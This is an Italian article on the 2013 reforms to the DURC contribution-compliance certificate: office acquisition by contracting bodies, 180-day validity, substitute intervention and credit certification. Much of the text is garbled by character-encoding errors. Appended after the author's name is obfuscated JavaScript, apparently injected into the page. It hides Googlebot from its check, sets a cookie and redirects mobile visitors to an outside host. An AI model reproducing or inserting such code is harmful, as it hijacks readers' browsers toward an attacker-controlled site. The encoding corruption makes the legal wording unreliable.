Diverse novitA� sono state di recente introdotteA� in materia di documento unico di regolaritA� contributiva (DURC), finalizzate, da un lato, a semplificare ed accellerare le procedure, e, dall’altro, ad agevolare gli operatori economiciA� creditori nei confronti della P.A.

Il primo gruppo di novitA� arriva dal “Decreto Fare”. Sulla Gazz. Uff., n. 144 del 21 giugno 2013, A? stato pubblicato ilA� d.l. n. 69/2013 con il quale sono state introdotte alcune importantiA� semplificazioni in materia di DURC.

La��articolo di riferimento A? il 31, che modificaA�il Codice dei contratti (decreto legislativo 12 aprile 2006, n. 163)

Acquisizione d’ufficio

La prima, piA? che unaA�modifica, A? una conferma eA�riguarda la��art. 38, comma 3 del Codice . Viene riconfermato la��obbligo per le stazioni appaltanti e per gli enti aggiudicatori di acquisire da�?ufficio il documento unico di regolaritA� contributiva.

La seconda modifica interessa la��art. 118, co. 6, terzo periodo, del Codice. Anche in questo caso il DURC deve essere acquisito da��ufficio e non inviato dal subappaltatore.

Come noto, la��obbligo di acquisizione del DURC da parte della stazione appaltante, era giA� stato affermato, in via generale, dalla legge 2/2009, la quale, per evitare il rischio di alterazioni o falsificazioni del citato documento, ne aveva vietato la��acquisizione presso la��operatore economico. La nuova normativa ha pertanto provveduto a correggere le incongruenze ancora presenti nel Codice dei contratti.

Sempre sull’acquisizione del DURC da��ufficio, viene puntualizzato che nei contratti pubblici di lavori, servizi e forniture, tutti i soggetti di cui alla�?articolo 3, comma 1, lettera b), del regolamento di esecuzione e attuazione del CodiceA� n. 207/2010 (quindi non solamente le amministrazioni aggiudicatrici, come viene specificato nella��art. 6, comma 3 del d.P.R. 207/2010), ovvero, le amministrazioni aggiudicatici, gli organismi di diritto pubblico, gli enti aggiudicatori, gli altri soggetti aggiudicatori, i soggetti aggiudicatori e stazioni appaltanti, devono acquisire da�?ufficio, attraverso strumenti informatici, il documento unico di regolaritA� contributiva (DURC) in corso di validitA�, nei seguenti casi:

a) per la verifica della dichiarazione sostitutiva relativa al requisito di cui alla�?articolo 38, comma 1, lettera i), del decreto legislativo 12 aprile 2006, n. 163;

b) per la�?aggiudicazione del contratto ai sensi della�?articolo 11, comma 8, del decreto legislativo n. 163 del 2006;

c) per la stipula del contratto;

d) per il pagamento degli stati avanzamento lavori o delle prestazioni relative a servizi e forniture;

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e) per il certificato di collaudo, il certificato di regolare esecuzione, il certificato di verifica di conformitA�, la�?attestazione di regolare esecuzione, e il pagamento del saldo finale.

ValiditA�A�

L’altra novitA� riguarda la validitA� del DURC. Il decreto precisa che il documento unico di regolaritA� contributiva (DURC) rilasciato per i contratti pubblici di lavori, servizi e forniture ha validitA� di centottanta giorni dalla data di emissione.

Le amministrazioni aggiudicatici, organismi di diritto pubblico, enti aggiudicatori, altri soggetti aggiudicatori, soggetti aggiudicatori e stazioni appaltanti, utilizzano il DURC in corso di validitA�, acquisito per la��ipotesi di cui alla lettera a) sopra specificata anche per le ipotesi di cui alle lettere b) e c) sopra indicate.

Dopo la stipula del contratto, i soggetti acquisiscono il DURC ogni centottanta giorni e lo utilizzano per le finalitA� di cui alle lettere d) ed e) (sopra specificate).

Viene tuttavia fatta eccezione per ciA? che attiene il pagamento del saldo finale per il quale A? in ogni caso necessaria la��acquisizione di un nuovo DURC, prescindendo dalla eventuale persistente validitA� del precedente documento.

DURC irregolare

La normativa interviene anche a disciplinare la��ipotesi di DURC irregolare, prevedendo a�?la��intervento sostitutivoa�?.

Tale istituto A? giA� previsto dalla��art. 4 del d.p.r. 207/2010. La novitA� A? costituita da un allargamento della platea dei soggetti coinvolti nella��adempiere a tale istituto. Infatti, oltre alla Pubblica Amministrazione, sono tenuti ad applicarlo: le amministrazioni aggiudicatrici, gli organismi di diritto pubblico, gli enti aggiudicatori, altri soggetti aggiudicatori, soggetti aggiudicatori e stazioni appaltanti.

La�� articolo 31 dispone che nei contratti pubblici di lavori, servizi e forniture, in tutte le ipotesi sopra previste di acquisizione del DURC, in caso di ottenimento del documento unico di regolaritA� contributiva (DURC) che segnali una�?inadempienza contributiva relativa a uno o piA? soggetti impiegati nella�?esecuzione del contratto, i soggetti richiedenti devono trattenere dal certificato di pagamento la�?importo corrispondente alla�?inadempienza. Il pagamento di quanto dovuto per le inadempienze accertate mediante il DURC A? disposto, dai soggetti pubblici, direttamente agli enti previdenziali e assicurativi, compresa, nei lavori, la cassa edile.

Verifiche amministrativo-contabili

Il legislatore ha previsto che nei contratti pubblici di lavori, servizi e forniture, ai fini della verifica amministrativo-contabile, i titoli di pagamento devono essere corredati dal documento unico di regolaritA� contributiva (DURC) anche in formato elettronico.

Inoltre, per i soggetti ai quali si riferisce i DURC viene stabilito una sorta di preavviso di DURC non in regola. Infatti, il legislatore ha disposto che, ai fini della verifica per il rilascio del documento unico di regolaritA� contributiva (DURC), in caso di mancanza dei requisiti per il rilascio di tale documento gli Enti preposti al rilascio, prima della�?emissione del DURC o della�?annullamento del documento giA� rilasciato, invitano la�?interessato, mediante posta elettronica certificata o con lo stesso mezzo per il tramite del consulente del lavoro nonchA� degli altri soggetti di cui alla�?articolo 1 della legge 11 gennaio 1979, n. 12 (iscritti agli albi degli avvocati, dottori commercialisti, ragionieri e periti commerciali), a regolarizzare la propria posizione entro un termine non superiore a quindici giorni, indicando analiticamente le cause della irregolaritA�.

Il secondo gruppo di novitA� A? contenuto nel decreto del MEF 13.3.2013 (in G.U. n. 165 del 16 luglio 2013) – Rilascio del documento unico di regolaritA� contributiva anche in presenza di una certificazione che attesti la sussistenza e l’importo di crediti certi, liquidi ed esigibili vantati nei confronti delle pubbliche amministrazioni di importo almeno pari agli oneri contributivi accertati e non ancora versati da parte di un medesimo soggetto.

Il suddetto decreto A? stato emanato in attuazione del comma 5 dell’art. 13-bis del decreto-legge 7 maggio 2012, n. 52, convertito, con modificazioni, dalla legge 6 luglio 2012, n. 94.
Il decreto disciplina:
i.) le modalitA� di rilascio e di utilizzazione del documento unico di regolaritA� contributiva (DURC), in presenza di una certificazione che attesti la sussistenza e l’importo di crediti certi, liquidi ed esigibili vantati nei confronti delle amministrazioni statali, degli enti pubblici nazionali, delle Regioni, degli enti locali e degli enti del Servizio Sanitario Nazionale, di importo almeno pari agli oneri contributivi accertati e non ancora versati da parte del soggetto titolare dei crediti certificati;
ii.) le modalitA� di utilizzo della certificazione rilasciata esibita per il rilascio del DURC.

ModalitA� di rilascio

Gli enti tenuti al rilascio del DURC, su richiesta del soggetto titolare dei crediti certificati che non abbia provveduto al versamento dei contributi previdenziali, assistenziali ed assicurativi nei termini previsti, emettono il predetto documento con l’indicazione che il rilascio A? avvenuto ai sensi del comma 5 dell’art. 13-bis del decreto-legge 7 maggio 2012, n.52, convertito, con modificazioni, dalla legge 6 luglio 2012, n. 94, precisando l’importo del relativo debito contributivo e gli estremi della certificazione esibita per il rilascio del DURC medesimo.

ModalitA� di utilizzoA�

Il DURC puA? essere utilizzato per le finalitA� previste dalle vigenti disposizioni di legge. Nell’ipotesi di utilizzo del DURC per ottenere il pagamento da parte di pubbliche amministrazioni degli stati di avanzamento lavori o delle prestazioni relative a servizi e forniture, si applica l’intervento sostitutivo della stazione appaltante in caso di inadempienza contributiva dell’esecutore.

ModalitA� di utilizzo della certificazione

La certificazione esibita per il rilascio del DURC puA? essere utilizzata per la compensazione di somme iscritte a ruolo, ovvero per la cessione o anticipazione del credito presso banche o intermediari finanziari .
Il credito indicato nella certificazione esibita per il rilascio del DURC puA? validamente essere ceduto ovvero costituire oggetto di anticipazione solo previa estinzione del debito contributivo indicato sul DURC comprovata da DURC aggiornato da esibirsi alla banca o all’intermediario finanziario, ovvero, in caso di persistente irregolaritA� contributiva, a condizione che il creditore sottoscriva, contestualmente alla cessione o all’anticipazione, apposita delegazione di pagamento alla banca o all’intermediario finanziario, ai sensi dell’art. 1269 del codice civile, per provvedere al pagamento del predetto debito contributivo. Qualora l’importo riconosciuto dalla banca o dall’intermediario finanziario al creditore risulti inferiore al debito contributivo, la delegazione di pagamento di cui al presente comma si applica per l’estinzione parziale del predetto debito contributivo.

Stefano Pozzervar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


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